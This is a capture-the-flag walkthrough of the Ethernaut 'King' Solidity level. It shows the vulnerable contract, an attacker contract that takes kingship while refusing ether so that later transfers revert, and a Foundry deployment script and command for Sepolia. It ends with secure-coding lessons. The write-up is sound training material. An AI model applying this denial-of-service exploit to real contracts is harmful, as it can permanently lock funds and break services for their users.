The Ethernaut CTF Solutions | 09 - King
Game of Thrones: Manipulating Contract Rules to Stay on Top

Search for a command to run...
Game of Thrones: Manipulating Contract Rules to Stay on Top

No comments yet. Be the first to comment.
Find the explanations and solutions to beat every level of Ethernaut challenges. Solidity + Foundry
Infinite Withdrawals: Exploiting Reentrancy in Solidity and the Critical Role of CEI
From Flash to Cash: Exploiting Governance in the Selfie Challenge

Timing and Technique: Exploiting The Rewarder for Maximum Gain

A Deep Dive into the Side Entrance Challenge: Mastering the Mechanics of Flash Loans

DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"

Staking Strategies: An Insightful Journey Through Smart Contract Exploits in DeFi

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
In this level, the goal is to become the king and then make sure that the contract is not able to transfer the prize to the next king. In other words, we have to become king and then break the game.
This requires an understanding of how the now-considered deprecated transfer works in solidity. This function throws an error if the transfer fails, but doesn't return a boolean value. This means that if the transfer fails, the transaction will revert.
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
First, we need to check the prize function to see how much ether is required to pass the require statement and become king.
Now, that we are king, how can we make sure that no one else can dethrone us? How to make sure the transfer() function reverts systematically after us? The answer is pretty simple, we just need to make sure that our king contract can't receive any ether. As long as no receive() or fallback() function is defined, the contract will not be able to receive any ether via the King contract, which will effectively prevent anyone from becoming the new king after us.
Deploy a contract that can't receive ether via the "normal" way (no receive() or fallback() functions).
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IKing {
function prize() external returns (uint256);
}
contract FallenKing {
address private immutable king;
constructor(address _king) {
king = _king;
}
function attack() external payable {
uint256 prize = IKing(king).prize();
(bool success, ) = king.call{value: prize}("");
require(success, "Transfer failed");
}
}
Now, let's write our deployment script:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script} from "forge-std/Script.sol";
import {FallenKing} from "../src/09_King.sol";
contract PoC is Script {
// Replace with your King instance
address payable immutable king =
payable(0xAee491172da8198a0bDCDE30455FE379E56d3711);
function run() external payable {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
FallenKing fallenKing = new FallenKing(king);
fallenKing.attack();
vm.stopBroadcast();
}
}
Then, you can use forge scripts to deploy this contract and call the attack function:
forge script script/09_King.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
🎉 Level completed 🎉
send and transfer are now considered deprecated. They should be replaced by call with a proper Check-Effect-Interaction pattern to prevent re-entrancy.
External calls must be used with caution and must handle errors properly.
https://blog.chain.link/defi-security-best-practices/https://www.kingoftheether.com/postmortem.html
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/